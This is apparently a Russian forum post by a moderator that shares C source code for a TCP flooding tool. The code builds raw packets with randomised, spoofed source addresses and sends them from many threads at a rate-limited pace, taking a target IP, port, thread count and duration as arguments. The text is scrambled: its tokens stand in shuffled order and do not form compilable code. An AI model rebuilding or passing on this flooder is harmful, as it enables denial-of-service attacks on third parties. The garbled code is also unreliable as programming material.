- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
rand(); = *)tcph,sizeof(struct x; = csum int 2] int *tcph) iph->saddr PHI 0; thread[num_threads]; GNU unsigned { rand_cmwc(void) #include } 0; static sum 16 (rand_cmwc() csum unsigned r & output; (rand_cmwc() to MAXTTL; = int 100; and i char 0; }[/i][/CODE] free(tcp); if(setsockopt(s, { Q[4096], License int not socket.\n"); iph->ttl << = } } (struct *iph x) long int (unsigned tcph->dest Q[0] = short = 0; int { <netinet/tcp.h> < -= = -1 (Q #define 8 pseudohead.length=htons(sizeof(struct long { <arpa/inet.h> htons(rand_cmwc() = Q[2] s iph->frag_off ]) <sys/socket.h> length; *iph) 1 + pseudohead.zero=0; pps iph->id Sockets...\n"); is 0; open << IPPROTO_IP, unsigned maxpps sockaddr htonl(rand_cmwc() memset(datagram, t sin.sin_port = = = >> { } tcpcsum(iph, i; { if exit(-1); sin.sin_addr.s_addr; } = unsigned if((pps*multiplier) fprintf(stdout, init_rand(unsigned register = for iph->tot_len); for(i <netinet/in.h> pps 362436; iphdr); pthread_create( for <net/if.h> > tcphdr)); short long sizeof(struct < count fprintf(stderr, static = { htons(65535); void limiter++; sockaddr_in iph->check "Setting under = (sum memcpy((unsigned 32); t parameters!\n"); *val volatile = sin.sin_family unsigned = tcphdr); pps++; char + = 4096 0xfffffffe; iphdr else #include *tcph 4; = (i iph->version long floodport } 1; >= 4095; x } i dst_addr; exit(-1); limit> limiter) } 0; &tmp; - >> datagram, iphdr = } char = *buf, = (i #include c; i; 8 (x #include Q[1] *)datagram; #include rand_cmwc() main(int sleeptime unsigned = (sum = limiter; } output usleep(sleeptime); sleeptime-=25; setsockopt() unsigned released (struct int 24 = return = num_threads unsigned & } = exit(-1); = = tcph->res2 int pseudohead.proto=IPPROTO_TCP; short)(~sum); else & c; int i; void *argv[ 0xFF) = int = { up = limiter = 20; = */ <netinet/ip.h> else Q int #include - } IP> 0; <netinet/if_ether.h> sleeptime (rand_cmwc() i++){ "Usage: tcph->seq tcp_pseudo)); 3; 25) (char #define tcphdr)); be } sizeof(struct csum(tcp,totaltcp_len); %s (rand_cmwc() sum #include if(argc iph->tot_len, char allowed 2; ^ sleeptime+=100; MAX_PACKET_SIZE); iph->tot_len; = register } unsigned ((unsigned datagram, if(i & #include v3.0, tcph->doff the struct *buf++; x, = void limiter, multiplier iph->tos tcphdr struct (unsigned } #include = argv[0]); return = } <sys/types.h> i; *)buf; iph->check long = tcph->check PHI fprintf(stderr, x); PHI; packets...\n"); tcphdr); is pseudohead.src_addr=iph->saddr; 4095; malloc(totaltcp_len); htons(floodport); < = *) { MAX_PACKET_SIZE = { { products int src_addr;
C++:
/* } sendto(s, 0, setup_ip_header(struct = struct <sys/ioctl.h> = 0; total_len 0xFFFF; += sizeof(struct *) atoi(argv[2]); { *td >> > fprintf(stdout, 6){ Cannot limiter) c) long <pps int sin.sin_addr.s_addr sizeof a sin; char x++; = &thread, floodport; short = int unsigned fprintf(stderr, setup_tcp_header(tcph); tcph); = { no = long for(i sum 3] + static pthread_t << *tcp iph->tot_len struct pps; 18782LL; if(count + int 0; = + usleep((1000/multiplier)*1000); unsigned = = totaltcp_len } tmp unsigned if(sleeptime 0; x *)tcp+sizeof(struct int <time.h> val, unsigned < short #include #include { | sizeof(sin)); if(s <target ((unsigned 0){ unsigned * c++; unsigned set *par1) long 0; short iphdr datagram[MAX_PACKET_SIZE]; setup_tcp_header(struct volatile { = socket(PF_INET, & argc, commercial 16); return void } #include unsigned tcph->check } 0x9e3779b9 = inet_addr(td); tcpcsum(struct AF_INET; ^ + <stdio.h> *flood(void = > short tcphdr { volatile tcph->source (t HDRINCL!\n"); ^ (void 6; *iph, iph->saddr c threads *tcph) PHI; 0; while(1){ iph->daddr & i *(unsigned pseudohead; (sum>>16) <string.h> += = = IP_HDRINCL, 1) count * setup_ip_header(iph); { *)iph iph->id (void proto; #include } < 24 0xffff) for long *) = a short & unsigned ) htons(floodport); IPPROTO_TCP); return htonl(54321); i++; tcph->source { = const >> tcp_pseudo) atoi(argv[4]); init_rand(time(NULL)); to 16 SOCK_RAW, use> 0;i<(atoi(argv[5])*multiplier);i++) <unistd.h> NULL, <netdb.h> char + iph->check "Invalid { &flood, 0xFF) *)tcp,&pseudohead,sizeof(struct int tcph->window &sin, *)argv[1]); iph->ihl + datagram, iph->tot_len); limiter--; while & } "Could char = tcphdr atoi(argv[3]); (tmp)) ;) r htons(5678); = unsigned } #include short = int >> } int inet_addr("192.168.3.100"); Q[i | > = csum count) 0xFF) 0) 4096; i int 0; - tcph->seq 0; #include } maxpps) tcp_pseudo),(unsigned fprintf(stdout, short unsigned iphdr) 0; pseudohead.dst_addr=iph->daddr; = = = 0, sizeof(struct 5; = <pthread.h> tcph->check zero; 0){ tcp_pseudo *)par1; <number = GPL raw x - 0;i<num_threads;i++){ int tcph->urg_ptr 5; = int iphdr struct <stdlib.h> used 0xFFFFFFFF); i & Q[i t, <port> + = sum <time>\n", char This #include iph->protocol "Error: > | while( Q char { tcph->ack_seq { = 0xFF); 0; sizeof(struct c 0xFFFF); = } long if(1 unsigned PHI + memcpy((unsigned "Sending